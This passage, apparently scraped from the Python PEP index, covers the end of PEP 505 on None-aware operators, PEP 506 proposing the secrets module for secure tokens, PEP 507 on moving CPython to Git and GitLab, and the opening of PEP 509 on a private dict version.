operands: it should return ctype if it has a value and use the string literal as fallback. The other ternary expressions are unintuitive and so long that they must be wrapped. The overall readability is worsened, not improved. Rewriting using the None coalescing operator: class BaseUploadObject(object): def find_content_type(self, filename): ctype, encoding = mimetypes.guess_type(filename) return ctype ?? 'application/octet-stream' class UploadContent(BaseUploadObject): def __init__(self, content, filename=None, content_type=None): self.content = content self.filename = filename ?? self.get_random_filename() self.content_type = content_type ?? self.find_content_type(self.filename) class UploadFile(BaseUploadObject): def __init__(self, path, filename=None, content_type=None): self.path = path self.filename = filename ?? os.path.split(path)[1] self.content_type = content_type ?? self.find_content_type(self.filename) This syntax has an intuitive ordering of the operands. In find_content_type, for example, the preferred value ctype appears before the fallback value. The terseness of the syntax also makes for fewer lines of code and less code to visually parse, and reading from left-to-right and top-to-bottom more accurately follows the execution flow. Rejected Ideas The first three ideas in this section are oft-proposed alternatives to treating None as special. For further background on why these are rejected, see their treatment in PEP 531 and PEP 532 and the associated discussions. No-Value Protocol The operators could be generalised to user-defined types by defining a protocol to indicate when a value represents “no value”. Such a protocol may be a dunder method __has_value__(self) that returns True if the value should be treated as having a value, and False if the value should be treated as no value. With this generalization, object would implement a dunder method equivalent to this: def __has_value__(self): return True NoneType would implement a dunder method equivalent to this: def __has_value__(self): return False In the specification section, all uses of x is None would be replaced with not x.__has_value__(). This generalization would allow for domain-specific “no-value” objects to be coalesced just like None. For example, the pyasn1 package has a type called Null that represents an ASN.1 null: >>> from pyasn1.type import univ >>> univ.Null() ?? univ.Integer(123) Integer(123) Similarly, values such as math.nan and NotImplemented could be treated as representing no value. However, the “no-value” nature of these values is domain-specific, which means they should be treated as a value by the language. For example, math.nan.imag is well defined (it’s 0.0), and so short-circuiting math.nan?.imag to return math.nan would be incorrect. As None is already defined by the language as being the value that represents “no value”, and the current specification would not preclude switching to a protocol in the future (though changes to built-in objects would not be compatible), this idea is rejected for now. Boolean-aware operators This suggestion is fundamentally the same as adding a no-value protocol, and so the discussion above also applies. Similar behavior to the ?? operator can be achieved with an or expression, however or checks whether its left operand is false-y and not specifically None. This approach is attractive, as it requires fewer changes to the language, but ultimately does not solve the underlying problem correctly. Assuming the check is for truthiness rather than None, there is no longer a need for the ?? operator. However, applying this check to the ?. and ?[] operators prevents perfectly valid operations applying Consider the following example, where get_log_list() may return either a list containing current log messages (potentially empty), or None if logging is not enabled: lst = get_log_list() lst?.append('A log message') If ?. is checking for true values rather than specifically None and the log has not been initialized with any items, no item will ever be appended. This violates the obvious intent of the code, which is to append an item. The append method is available on an empty list, as are all other list methods, and there is no reason to assume that these members should not be used because the list is presently empty. Further, there is no sensible result to use in place of the expression. A normal lst.append returns None, but under this idea lst?.append may result in either [] or None, depending on the value of lst. As with the examples in the previous section, this makes no sense. As checking for truthiness rather than None results in apparently valid expressions no longer executing as intended, this idea is rejected. Exception-aware operators Arguably, the reason to short-circuit an expression when None is encountered is to avoid the AttributeError or TypeError that would be raised under normal circumstances. As an alternative to testing for None, the ?. and ?[] operators could instead handle AttributeError and TypeError raised by the operation and skip the remainder of the expression. This produces a transformation for a?.b.c?.d.e similar to this: _v = a try: _v = _v.b except AttributeError: pass else: _v = _v.c try: _v = _v.d except AttributeError: pass else: _v = _v.e One open question is which value should be returned as the expression when an exception is handled. The above example simply leaves the partial result, but this is not helpful for replacing with a default value. An alternative would be to force the result to None, which then raises the question as to why None is special enough to be the result but not special enough to be the test. Secondly, this approach masks errors within code executed implicitly as part of the expression. For ?., any AttributeError within a property or __getattr__ implementation would be hidden, and similarly for ?[] and __getitem__ implementations. Similarly, simple typing errors such as {}?.ietms() could go unnoticed. Existing conventions for handling these kinds of errors in the form of the getattr builtin and the .get(key, default) method pattern established by dict show that it is already possible to explicitly use this behaviour. As this approach would hide errors in code, it is rejected. None-aware Function Call The None-aware syntax applies to attribute and index access, so it seems natural to ask if it should also apply to function invocation syntax. It might be written as foo?(), where foo is only called if it is not None. This has been deferred on the basis of the proposed operators being intended to aid traversal of partially populated hierarchical data structures, not for traversal of arbitrary class hierarchies. This is reflected in the fact that none of the other mainstream languages that already offer this syntax have found it worthwhile to support a similar syntax for optional function invocations. A workaround similar to that used by C# would be to write maybe_none?.__call__(arguments). If the callable is None, the expression will not be evaluated. (The C# equivalent uses ?.Invoke() on its callable type.) ? Unary Postfix Operator To generalize the None-aware behavior and limit the number of new operators introduced, a unary, postfix operator spelled ? was suggested. The idea is that ? might return a special object that could would override dunder methods that return self. For example, foo? would evaluate to foo if it is not None, otherwise it would evaluate to an instance of NoneQuestion: class NoneQuestion(): def __call__(self, *args, **kwargs): return self def __getattr__(self, name): return self def __getitem__(self, key): return self With this new operator and new type, an expression like foo?.bar[baz] evaluates to NoneQuestion if foo is None. This is a nifty generalization, but it’s difficult to use in practice since most existing code won’t know what NoneQuestion is. Going back to one of the motivating examples above, consider the following: >>> import json >>> created = None >>> json.dumps({'created': created?.isoformat()}) The JSON serializer does not know how to serialize NoneQuestion, nor will any other API. This proposal actually requires lots of specialized logic throughout the standard library and any third party library. At the same time, the ? operator may also be too general, in the sense that it can be combined with any other operator. What should the following expressions mean?: >>> x? + 1 >>> x? -= 1 >>> x? == 1 >>> ~x? This degree of generalization is not useful. The operators actually proposed herein are intentionally limited to a few operators that are expected to make it easier to write common code patterns. Built-in maybe Haskell has a concept called Maybe that encapsulates the idea of an optional value without relying on any special keyword (e.g. null) or any special instance (e.g. None). In Haskell, the purpose of Maybe is to avoid separate handling of “something” and nothing”. A Python package called pymaybe provides a rough approximation. The documentation shows the following example: >>> maybe('VALUE').lower() 'value' >>> maybe(None).invalid().method().or_else('unknown') 'unknown' The function maybe() returns either a Something instance or a Nothing instance. Similar to the unary postfix operator described in the previous section, Nothing overrides dunder methods in order to allow chaining on a missing value. Note that or_else() is eventually required to retrieve the underlying value from pymaybe’s wrappers. Furthermore, pymaybe does not short circuit any evaluation. Although pymaybe has some strengths and may be useful in its own right, it also demonstrates why a pure Python implementation of coalescing is not nearly as powerful as support built into the language. The idea of adding a builtin maybe type to enable this scenario is rejected. Just use a conditional expression Another common way to initialize default values is to use the ternary operator. Here is an excerpt from the popular Requests package: data = [] if data is None else data files = [] if files is None else files headers = {} if headers is None else headers params = {} if params is None else params hooks = {} if hooks is None else hooks This particular formulation has the undesirable effect of putting the operands in an unintuitive order: the brain thinks, “use data if possible and use [] as a fallback,” but the code puts the fallback before the preferred value. The author of this package could have written it like this instead: data = data if data is not None else [] files = files if files is not None else [] headers = headers if headers is not None else {} params = params if params is not None else {} hooks = hooks if hooks is not None else {} This ordering of the operands is more intuitive, but it requires 4 extra characters (for “not “). It also highlights the repetition of identifiers: data if data, files if files, etc. When written using the None coalescing operator, the sample reads: data = data ?? [] files = files ?? [] headers = headers ?? {} params = params ?? {} hooks = hooks ?? {} References [1] C# Reference: Operators (https://learn.microsoft.com/en/dotnet/csharp/language-reference/operators/) [2] A Tour of the Dart Language: Operators (https://www.dartlang.org/docs/dart-up-and-running/ch02.html#operators) [3] Proposal: Nullish Coalescing for JavaScript (https://github.com/tc39/proposal-nullish-coalescing) [4] Proposal: Optional Chaining for JavaScript (https://github.com/tc39/proposal-optional-chaining) [5] Associated scripts (https://github.com/python/peps/tree/master/pep-0505/) Copyright This document has been placed in the public domain.

Deferred

PEP 505 – None-aware operators

Standards Track

Several modern programming languages have so-called “null-coalescing” or “null- aware” operators, including C# [1], Dart [2], Perl, Swift, and PHP (starting in version 7). There are also stage 3 draft proposals for their addition to ECMAScript (a.k.a. JavaScript) [3] [4]. These operators provide syntactic sugar for common patterns involving null references.

PEP 506 – Adding A Secrets Module To The Standard Library Author: Steven D’Aprano <steve at pearwood.info> Status: Final Type: Standards Track Created: 19-Sep-2015 Python-Version: 3.6 Post-History: Table of Contents Abstract Definitions Rationale Proposal API and Implementation Default arguments Naming conventions Alternatives Comparison To Other Languages What Should Be The Name Of The Module? Frequently Asked Questions References Copyright Abstract This PEP proposes the addition of a module for common security-related functions such as generating tokens to the Python standard library. Definitions Some common abbreviations used in this proposal: PRNG:Pseudo Random Number Generator. A deterministic algorithm used to produce random-looking numbers with certain desirable statistical properties. CSPRNG:Cryptographically Strong Pseudo Random Number Generator. An algorithm used to produce random-looking numbers which are resistant to prediction. MT:Mersenne Twister. An extensively studied PRNG which is currently used by the random module as the default. Rationale This proposal is motivated by concerns that Python’s standard library makes it too easy for developers to inadvertently make serious security errors. Theo de Raadt, the founder of OpenBSD, contacted Guido van Rossum and expressed some concern [1] about the use of MT for generating sensitive information such as passwords, secure tokens, session keys and similar. Although the documentation for the random module explicitly states that the default is not suitable for security purposes [2], it is strongly believed that this warning may be missed, ignored or misunderstood by many Python developers. In particular: developers may not have read the documentation and consequently not seen the warning; they may not realise that their specific use of the module has security implications; or not realising that there could be a problem, they have copied code (or learned techniques) from websites which don’t offer best practises. The first [3] hit when searching for “python how to generate passwords” on Google is a tutorial that uses the default functions from the random module [4]. Although it is not intended for use in web applications, it is likely that similar techniques find themselves used in that situation. The second hit is to a StackOverflow question about generating passwords [5]. Most of the answers given, including the accepted one, use the default functions. When one user warned that the default could be easily compromised, they were told “I think you worry too much.” [6] This strongly suggests that the existing random module is an attractive nuisance when it comes to generating (for example) passwords or secure tokens. Additional motivation (of a more philosophical bent) can be found in the post which first proposed this idea [7]. Proposal Alternative proposals have focused on the default PRNG in the random module, with the aim of providing “secure by default” cryptographically strong primitives that developers can build upon without thinking about security. (See Alternatives below.) This proposes a different approach: The standard library already provides cryptographically strong primitives, but many users don’t know they exist or when to use them. Instead of requiring crypto-naive users to write secure code, the standard library should include a set of ready-to-use “batteries” for the most common needs, such as generating secure tokens. This code will both directly satisfy a need (“How do I generate a password reset token?”), and act as an example of acceptable practises which developers can learn from [8]. To do this, this PEP proposes that we add a new module to the standard library, with the suggested name secrets. This module will contain a set of ready-to-use functions for common activities with security implications, together with some lower-level primitives. The suggestion is that secrets becomes the go-to module for dealing with anything which should remain secret (passwords, tokens, etc.) while the random module remains backward-compatible. API and Implementation This PEP proposes the following functions for the secrets module: Functions for generating tokens suitable for use in (e.g.) password recovery, as session keys, etc., in the following formats: as bytes, secrets.token_bytes; as text, using hexadecimal digits, secrets.token_hex; as text, using URL-safe base-64 encoding, secrets.token_urlsafe. A limited interface to the system CSPRNG, using either os.urandom directly or random.SystemRandom. Unlike the random module, this does not need to provide methods for seeding, getting or setting the state, or any non-uniform distributions. It should provide the following: A function for choosing items from a sequence, secrets.choice. A function for generating a given number of random bits and/or bytes as an integer, secrets.randbits. A function for returning a random integer in the half-open range 0 to the given upper limit, secrets.randbelow [9]. A function for comparing text or bytes digests for equality while being resistant to timing attacks, secrets.compare_digest. The consensus appears to be that there is no need to add a new CSPRNG to the random module to support these uses, SystemRandom will be sufficient. Some illustrative implementations have been given by Alyssa (Nick) Coghlan [10] and a minimalist API by Tim Peters [11]. This idea has also been discussed on the issue tracker for the “cryptography” module [12]. The following pseudo-code should be taken as the starting point for the real implementation: from random import SystemRandom from hmac import compare_digest _sysrand = SystemRandom() randbits = _sysrand.getrandbits choice = _sysrand.choice def randbelow(exclusive_upper_bound): return _sysrand._randbelow(exclusive_upper_bound) DEFAULT_ENTROPY = 32 # bytes def token_bytes(nbytes=None): if nbytes is None: nbytes = DEFAULT_ENTROPY return os.urandom(nbytes) def token_hex(nbytes=None): return binascii.hexlify(token_bytes(nbytes)).decode('ascii') def token_urlsafe(nbytes=None): tok = token_bytes(nbytes) return base64.urlsafe_b64encode(tok).rstrip(b'=').decode('ascii') The secrets module itself will be pure Python, and other Python implementations can easily make use of it unchanged, or adapt it as necessary. An implementation can be found on BitBucket [13]. Default arguments One difficult question is “How many bytes should my token be?”. We can help with this question by providing a default amount of entropy for the “token_*” functions. If the nbytes argument is None or not given, the default entropy will be used. This default value should be large enough to be expected to be secure for medium-security uses, but is expected to change in the future, possibly even in a maintenance release [14]. Naming conventions One question is the naming conventions used in the module [15], whether to use C-like naming conventions such as “randrange” or more Pythonic names such as “random_range”. Functions which are simply bound methods of the private SystemRandom instance (e.g. randrange), or a thin wrapper around such, should keep the familiar names. Those which are something new (such as the various token_* functions) will use more Pythonic names. Alternatives One alternative is to change the default PRNG provided by the random module [16]. This received considerable scepticism and outright opposition: There is fear that a CSPRNG may be slower than the current PRNG (which in the case of MT is already quite slow). Some applications (such as scientific simulations, and replaying gameplay) require the ability to seed the PRNG into a known state, which a CSPRNG lacks by design. Another major use of the random module is for simple “guess a number” games written by beginners, and many people are loath to make any change to the random module which may make that harder. Although there is no proposal to remove MT from the random module, there was considerable hostility to the idea of having to opt-in to a non-CSPRNG or any backwards-incompatible changes. Demonstrated attacks against MT are typically against PHP applications. It is believed that PHP’s version of MT is a significantly softer target than Python’s version, due to a poor seeding technique [17]. Consequently, without a proven attack against Python applications, many people object to a backwards-incompatible change. Alyssa Coghlan made an earlier suggestion for a globally configurable PRNG which uses the system CSPRNG by default, but has since withdrawn it in favour of this proposal. Comparison To Other Languages PHPPHP includes a function uniqid [18] which by default returns a thirteen character string based on the current time in microseconds. Translated into Python syntax, it has the following signature: def uniqid(prefix='', more_entropy=False)->str The PHP documentation warns that this function is not suitable for security purposes. Nevertheless, various mature, well-known PHP applications use it for that purpose (citation needed). PHP 5.3 and better also includes a function openssl_random_pseudo_bytes [19]. Translated into Python syntax, it has roughly the following signature: def openssl_random_pseudo_bytes(length:int)->Tuple[str, bool] This function returns a pseudo-random string of bytes of the given length, and a boolean flag giving whether the string is considered cryptographically strong. The PHP manual suggests that returning anything but True should be rare except for old or broken platforms. JavaScriptBased on a rather cursory search [20], there do not appear to be any well-known standard functions for producing strong random values in JavaScript. Math.random is often used, despite serious weaknesses making it unsuitable for cryptographic purposes [21]. In recent years the majority of browsers have gained support for window.crypto.getRandomValues [22]. Node.js offers a rich cryptographic module, crypto [23], most of which is beyond the scope of this PEP. It does include a single function for generating random bytes, crypto.randomBytes. RubyThe Ruby standard library includes a module SecureRandom [24] which includes the following methods: base64 - returns a Base64 encoded random string. hex - returns a random hexadecimal string. random_bytes - returns a random byte string. random_number - depending on the argument, returns either a random integer in the range(0, n), or a random float between 0.0 and 1.0. urlsafe_base64 - returns a random URL-safe Base64 encoded string. uuid - return a version 4 random Universally Unique IDentifier. What Should Be The Name Of The Module? There was a proposal to add a “random.safe” submodule, quoting the Zen of Python “Namespaces are one honking great idea” koan. However, the author of the Zen, Tim Peters, has come out against this idea [25], and recommends a top-level module. In discussion on the python-ideas mailing list so far, the name “secrets” has received some approval, and no strong opposition. There is already an existing third-party module with the same name [26], but it appears to be unused and abandoned. Frequently Asked Questions Q: Is this a real problem? Surely MT is random enough that nobody can predict its output.A: The consensus among security professionals is that MT is not safe in security contexts. It is not difficult to reconstruct the internal state of MT [27] [28] and so predict all past and future values. There are a number of known, practical attacks on systems using MT for randomness [29]. Q: Attacks on PHP are one thing, but are there any known attacks on Python software?A: Yes. There have been vulnerabilities in Zope and Plone at the very least. Hanno Schlichting commented [30]: "In the context of Plone and Zope a practical attack was demonstrated, but I can't find any good non-broken links about this anymore. IIRC Plone generated a random number and exposed this on each error page along the lines of 'Sorry, you encountered an error, your problem has been filed as <random number>, please include this when you contact us'. This allowed anyone to do large numbers of requests to this page and get enough random values to reconstruct the MT state. A couple of security related modules used random instead of system random (cookie session ids, password reset links, auth token), so the attacker could break all of those." Christian Heimes reported this issue to the Zope security team in 2012 [31], there are at least two related CVE vulnerabilities [32], and at least one work-around for this issue in Django [33]. Q: Is this an alternative to specialist cryptographic software such as SSL?A: No. This is a “batteries included” solution, not a full-featured “nuclear reactor”. It is intended to mitigate against some basic security errors, not be a solution to all security-related issues. To quote Alyssa Coghlan referring to her earlier proposal [34]: "...folks really are better off learning to use things like cryptography.io for security sensitive software, so this change is just about harm mitigation given that it's inevitable that a non-trivial proportion of the millions of current and future Python developers won't do that." Q: What about a password generator?A: The consensus is that the requirements for password generators are too variable for it to be a good match for the standard library [35]. No password generator will be included in the initial release of the module, instead it will be given in the documentation as a recipe (à la the recipes in the itertools module) [36]. Q: Will secrets use /dev/random (which blocks) or /dev/urandom (which doesn’t block) on Linux? What about other platforms?A: secrets will be based on os.urandom and random.SystemRandom, which are interfaces to your operating system’s best source of cryptographic randomness. On Linux, that may be /dev/urandom [37], on Windows it may be CryptGenRandom(), but see the documentation and/or source code for the detailed implementation details. References [1] https://mail.python.org/pipermail/python-ideas/2015-September/035820.html [2] https://docs.python.org/3/library/random.html [3] As of the date of writing. Also, as Google search terms may be automatically customised for the user without their knowledge, some readers may see different results. [4] http://interactivepython.org/runestone/static/everyday/2013/01/3_password.html [5] http://stackoverflow.com/questions/3854692/generate-password-in-python [6] http://stackoverflow.com/questions/3854692/generate-password-in-python/3854766#3854766 [7] https://mail.python.org/pipermail/python-ideas/2015-September/036238.html [8] At least those who are motivated to read the source code and documentation. [9] After considerable discussion, Guido ruled that the module need only provide randbelow, and not similar functions randrange or randint. http://code.activestate.com/lists/python-dev/138375/ [10] https://mail.python.org/pipermail/python-ideas/2015-September/036271.html [11] https://mail.python.org/pipermail/python-ideas/2015-September/036350.html [12] https://github.com/pyca/cryptography/issues/2347 [13] https://bitbucket.org/sdaprano/secrets [14] https://mail.python.org/pipermail/python-ideas/2015-September/036517.html https://mail.python.org/pipermail/python-ideas/2015-September/036515.html [15] https://mail.python.org/pipermail/python-ideas/2015-September/036474.html [16] Link needed. [17] By default PHP seeds the MT PRNG with the time (citation needed), which is exploitable by attackers, while Python seeds the PRNG with output from the system CSPRNG, which is believed to be much harder to exploit. [18] http://php.net/manual/en/function.uniqid.php [19] http://php.net/manual/en/function.openssl-random-pseudo-bytes.php [20] Volunteers and patches are welcome. [21] http://ifsec.blogspot.fr/2012/05/cross-domain-mathrandom-prediction.html [22] https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues [23] https://nodejs.org/api/crypto.html [24] http://ruby-doc.org/stdlib-2.1.2/libdoc/securerandom/rdoc/SecureRandom.html [25] https://mail.python.org/pipermail/python-ideas/2015-September/036254.html [26] https://pypi.python.org/pypi/secrets [27] https://jazzy.id.au/2010/09/22/cracking_random_number_generators_part_3.html [28] https://mail.python.org/pipermail/python-ideas/2015-September/036077.html [29] https://media.blackhat.com/bh-us-12/Briefings/Argyros/BH_US_12_Argyros_PRNG_WP.pdf [30] Personal communication, 2016-08-24. [31] https://bugs.launchpad.net/zope2/+bug/1071067 [32] http://www.cvedetails.com/cve/CVE-2012-5508/ http://www.cvedetails.com/cve/CVE-2012-6661/ [33] https://github.com/django/django/commit/1525874238fd705ec17a066291935a9316bd3044 [34] https://mail.python.org/pipermail/python-ideas/2015-September/036157.html [35] https://mail.python.org/pipermail/python-ideas/2015-September/036476.html https://mail.python.org/pipermail/python-ideas/2015-September/036478.html [36] https://mail.python.org/pipermail/python-ideas/2015-September/036488.html [37] http://sockpuppet.org/blog/2014/02/25/safely-generate-random-numbers/ http://www.2uo.de/myths-about-urandom/ Copyright This document has been placed in the public domain.

Final

PEP 506 – Adding A Secrets Module To The Standard Library

Standards Track

This PEP proposes the addition of a module for common security-related functions such as generating tokens to the Python standard library.

PEP 507 – Migrate CPython to Git and GitLab Author: Barry Warsaw <barry at python.org> Status: Rejected Type: Process Created: 30-Sep-2015 Post-History: Resolution: Core-Workflow message Table of Contents Abstract Rationale Version Control System Repository Hosting Code Review GitLab merge requests Criticism X is not written in Python Mercurial is better than Git CPython Workflow is too Complicated Open issues References Copyright Abstract This PEP proposes migrating the repository hosting of CPython and the supporting repositories to Git. Further, it proposes adopting a hosted GitLab instance as the primary way of handling merge requests, code reviews, and code hosting. It is similar in intent to PEP 481 but proposes an open source alternative to GitHub and omits the proposal to run Phabricator. As with PEP 481, this particular PEP is offered as an alternative to PEP 474 and PEP 462. Rationale CPython is an open source project which relies on a number of volunteers donating their time. As with any healthy, vibrant open source project, it relies on attracting new volunteers as well as retaining existing developers. Given that volunteer time is the most scarce resource, providing a process that maximizes the efficiency of contributors and reduces the friction for contributions, is of vital importance for the long-term health of the project. The current tool chain of the CPython project is a custom and unique combination of tools. This has two critical implications: The unique nature of the tool chain means that contributors must remember or relearn, the process, workflow, and tools whenever they contribute to CPython, without the advantage of leveraging long-term memory and familiarity they retain by working with other projects in the FLOSS ecosystem. The knowledge they gain in working with CPython is unlikely to be applicable to other projects. The burden on the Python/PSF infrastructure team is much greater in order to continue to maintain custom tools, improve them over time, fix bugs, address security issues, and more generally adapt to new standards in online software development with global collaboration. These limitations act as a barrier to contribution both for highly engaged contributors (e.g. core Python developers) and especially for more casual “drive-by” contributors, who care more about getting their bug fix than learning a new suite of tools and workflows. By proposing the adoption of both a different version control system and a modern, well-maintained hosting solution, this PEP addresses these limitations. It aims to enable a modern, well-understood process that will carry CPython development for many years. Version Control System Currently the CPython and supporting repositories use Mercurial. As a modern distributed version control system, it has served us well since the migration from Subversion. However, when evaluating the VCS we must consider the capabilities of the VCS itself as well as the network effect and mindshare of the community around that VCS. There are really only two real options for this, Mercurial and Git. The technical capabilities of the two systems are largely equivalent, therefore this PEP instead focuses on their social aspects. It is not possible to get exact numbers for the number of projects or people which are using a particular VCS, however we can infer this by looking at several sources of information for what VCS projects are using. The Open Hub (previously Ohloh) statistics [1] show that 37% of the repositories indexed by The Open Hub are using Git (second only to Subversion which has 48%) while Mercurial has just 2%, beating only Bazaar which has 1%. This has Git being just over 18 times as popular as Mercurial on The Open Hub. Another source of information on VCS popularity is PyPI itself. This source is more targeted at the Python community itself since it represents projects developed for Python. Unfortunately PyPI does not have a standard location for representing this information, so this requires manual processing. If we limit our search to the top 100 projects on PyPI (ordered by download counts) we can see that 62% of them use Git, while 22% of them use Mercurial, and 13% use something else. This has Git being just under 3 times as popular as Mercurial for the top 100 projects on PyPI. These numbers back up the anecdotal evidence for Git as the far more popular DVCS for open source projects. Choosing the more popular VCS has a number of positive benefits. For new contributors it increases the likelihood that they will have already learned the basics of Git as part of working with another project or if they are just now learning Git, that they’ll be able to take that knowledge and apply it to other projects. Additionally a larger community means more people writing how to guides, answering questions, and writing articles about Git which makes it easier for a new user to find answers and information about the tool they are trying to learn and use. Given its popularity, there may also be more auxiliary tooling written around Git. This increases options for everything from GUI clients, helper scripts, repository hosting, etc. Further, the adoption of Git as the proposed back-end repository format doesn’t prohibit the use of Mercurial by fans of that VCS! Mercurial users have the [2] plugin which allows them to push and pull from a Git server using the Mercurial front-end. It’s a well-maintained and highly functional plugin that seems to be well-liked by Mercurial users. Repository Hosting Where and how the official repositories for CPython are hosted is in someways determined by the choice of VCS. With Git there are several options. In fact, once the repository is hosted in Git, branches can be mirrored in many locations, within many free, open, and proprietary code hosting sites. It’s still important for CPython to adopt a single, official repository, with a web front-end that allows for many convenient and common interactions entirely through the web, without always requiring local VCS manipulations. These interactions include as a minimum, code review with inline comments, branch diffing, CI integration, and auto-merging. This PEP proposes to adopt a [3] instance, run within the python.org domain, accessible to and with ultimate control from the PSF and the Python infrastructure team, but donated, hosted, and primarily maintained by GitLab, Inc. Why GitLab? Because it is a fully functional Git hosting system, that sports modern web interactions, software workflows, and CI integration. GitLab’s Community Edition (CE) is open source software, and thus is closely aligned with the principles of the CPython community. Code Review Currently CPython uses a custom fork of Rietveld modified to not run on Google App Engine and which is currently only really maintained by one person. It is missing common features present in many modern code review tools. This PEP proposes to utilize GitLab’s built-in merge requests and online code review features to facilitate reviews of all proposed changes. GitLab merge requests The normal workflow for a GitLab hosted project is to submit a merge request asking that a feature or bug fix branch be merged into a target branch, usually one or more of the stable maintenance branches or the next-version master branch for new features. GitLab’s merge requests are similar in form and function to GitHub’s pull requests, so anybody who is already familiar with the latter should be able to immediately utilize the former. Once submitted, a conversation about the change can be had between the submitter and reviewer. This includes both general comments, and inline comments attached to a particular line of the diff between the source and target branches. Projects can also be configured to automatically run continuous integration on the submitted branch, the results of which are readily visible from the merge request page. Thus both the reviewer and submitter can immediately see the results of the tests, making it much easier to only land branches with passing tests. Each new push to the source branch (e.g. to respond to a commenter’s feedback or to fix a failing test) results in a new run of the CI, so that the state of the request always reflects the latest commit. Merge requests have a fairly major advantage over the older “submit a patch to a bug tracker” model. They allow developers to work completely within the VCS using standard VCS tooling, without requiring the creation of a patch file or figuring out the right location to upload the patch to. This lowers the barrier for sending a change to be reviewed. Merge requests are far easier to review. For example, they provide nice syntax highlighted diffs which can operate in either unified or side by side views. They allow commenting inline and on the merge request as a whole and they present that in a nice unified way which will also hide comments which no longer apply. Comments can be hidden and revealed. Actually merging a merge request is quite simple, if the source branch applies cleanly to the target branch. A core reviewer simply needs to press the “Merge” button for GitLab to automatically perform the merge. The source branch can be optionally rebased, and once the merge is completed, the source branch can be automatically deleted. GitLab also has a good workflow for submitting pull requests to a project completely through their web interface. This would enable the Python documentation to have “Edit on GitLab” buttons on every page and people who discover things like typos, inaccuracies, or just want to make improvements to the docs they are currently reading. They can simply hit that button and get an in browser editor that will let them make changes and submit a merge request all from the comfort of their browser. Criticism X is not written in Python One feature that the current tooling (Mercurial, Rietveld) has is that the primary language for all of the pieces are written in Python. This PEP focuses more on the best tools for the job and not necessarily on the best tools that happen to be written in Python. Volunteer time is the most precious resource for any open source project and we can best respect and utilize that time by focusing on the benefits and downsides of the tools themselves rather than what language their authors happened to write them in. One concern is the ability to modify tools to work for us, however one of the Goals here is to not modify software to work for us and instead adapt ourselves to a more standardized workflow. This standardization pays off in the ability to re-use tools out of the box freeing up developer time to actually work on Python itself as well as enabling knowledge sharing between projects. However, if we do need to modify the tooling, Git itself is largely written in C the same as CPython itself. It can also have commands written for it using any language, including Python. GitLab itself is largely written in Ruby and since it is Open Source software, we would have the ability to submit merge requests to the upstream Community Edition, albeit in language potentially unfamiliar to most Python programmers. Mercurial is better than Git Whether Mercurial or Git is better on a technical level is a highly subjective opinion. This PEP does not state whether the mechanics of Git or Mercurial are better, and instead focuses on the network effect that is available for either option. While this PEP proposes switching to Git, Mercurial users are not left completely out of the loop. By using the hg-git extension for Mercurial, working with server-side Git repositories is fairly easy and straightforward. CPython Workflow is too Complicated One sentiment that came out of previous discussions was that the multi-branch model of CPython was too complicated for GitLab style merge requests. This PEP disagrees with that sentiment. Currently any particular change requires manually creating a patch for 2.7 and 3.x which won’t change at all in this regards. If someone submits a fix for the current stable branch (e.g. 3.5) the merge request workflow can be used to create a request to merge the current stable branch into the master branch, assuming there is no merge conflicts. As always, merge conflicts must be manually and locally resolved. Because developers also have the option of performing the merge locally, this provides an improvement over the current situation where the merge must always happen locally. For fixes in the current development branch that must also be applied to stable release branches, it is possible in many situations to locally cherry pick and apply the change to other branches, with merge requests submitted for each stable branch. It is also possible just cherry pick and complete the merge locally. These are all accomplished with standard Git commands and techniques, with the advantage that all such changes can go through the review and CI test workflows, even for merges to stable branches. Minor changes may be easily accomplished in the GitLab web editor. No system can hide all the complexities involved in maintaining several long lived branches. The only thing that the tooling can do is make it as easy as possible to submit and commit changes. Open issues What level of hosted support will GitLab offer? The PEP author has been in contact with the GitLab CEO, with positive interest on their part. The details of the hosting offer would have to be discussed. What happens to Roundup and do we switch to the GitLab issue tracker? Currently, this PEP is not suggesting we move from Roundup to GitLab issues. We have way too much invested in Roundup right now and migrating the data would be a huge effort. GitLab does support webhooks, so we will probably want to use webhooks to integrate merges and other events with updates to Roundup (e.g. to include pointers to commits, close issues, etc. similar to what is currently done). What happens to wiki.python.org? Nothing! While GitLab does support wikis in repositories, there’s no reason for us to migration our Moin wikis. What happens to the existing GitHub mirrors? We’d probably want to regenerate them once the official upstream branches are natively hosted in Git. This may change commit ids, but after that, it should be easy to mirror the official Git branches and repositories far and wide. Where would the GitLab instance live? Physically, in whatever hosting provider GitLab chooses. We would point gitlab.python.org (or git.python.org?) to this host. References [1] Open Hub Statistics [2] Hg-Git mercurial plugin [3] https://about.gitlab.com Copyright This document has been placed in the public domain.

Rejected

PEP 507 – Migrate CPython to Git and GitLab

Process

This PEP proposes migrating the repository hosting of CPython and the supporting repositories to Git. Further, it proposes adopting a hosted GitLab instance as the primary way of handling merge requests, code reviews, and code hosting. It is similar in intent to PEP 481 but proposes an open source alternative to GitHub and omits the proposal to run Phabricator. As with PEP 481, this particular PEP is offered as an alternative to PEP 474 and PEP 462.

PEP 509 – Add a private version to dict Author: Victor Stinner <vstinner at python.org> Status: Superseded Type: Standards Track Created: 04-Jan-2016 Python-Version: 3.6 Post-History: 08-Jan-2016, 11-Jan-2016, 14-Apr-2016, 19-Apr-2016 Superseded-By: 699 Resolution: Python-Dev message Table of Contents Abstract Rationale Guard example Usage of the dict version Speedup method calls Specialized functions using guards Pyjion Cython Unladen Swallow Changes Backwards Compatibility Implementation and Performance Integer overflow Alternatives Expose the version at Python level as a read-only __version__ property Add a version to each dict entry Add a new dict subtype Prior Art Method cache and type version tag Globals / builtins cache Cached globals+builtins lookup Guard against changing dict during iteration PySizer Discussion Acceptance Copyright Abstract Add a new private version to the builtin dict type, incremented at each dictionary creation and at each dictionary change, to implement fast guards on namespaces. Rationale In Python, the builtin dict type is used by many instructions. For example, the LOAD_GLOBAL instruction looks up a variable in the global namespace, or in the builtins namespace (two dict lookups). Python uses dict for the builtins namespace, globals namespace, type namespaces, instance namespaces, etc. The local namespace (function namespace) is usually optimized to an array, but it can be a dict too. Python is hard to optimize because almost everything is mutable: builtin functions, function code, global variables, local variables, … can be modified at runtime. Implementing optimizations respecting the Python semantics requires to detect when “something changes”: we will call these checks “guards”. The speedup of optimizations depends on the speed of guard checks. This PEP proposes to add a private version to dictionaries to implement fast guards on namespaces. Dictionary lookups can be skipped if the version does not change, which is the common case for most namespaces. The version is globally unique, so checking the version is also enough to verify that the namespace dictionary was not replaced with a new dictionary. When the dictionary version does not change, the performance of a guard does not depend on the number of watched dictionary entries: the complexity is O(1). Example of optimization: copy the value of a global variable to function constants. This optimization requires a guard on the global variable 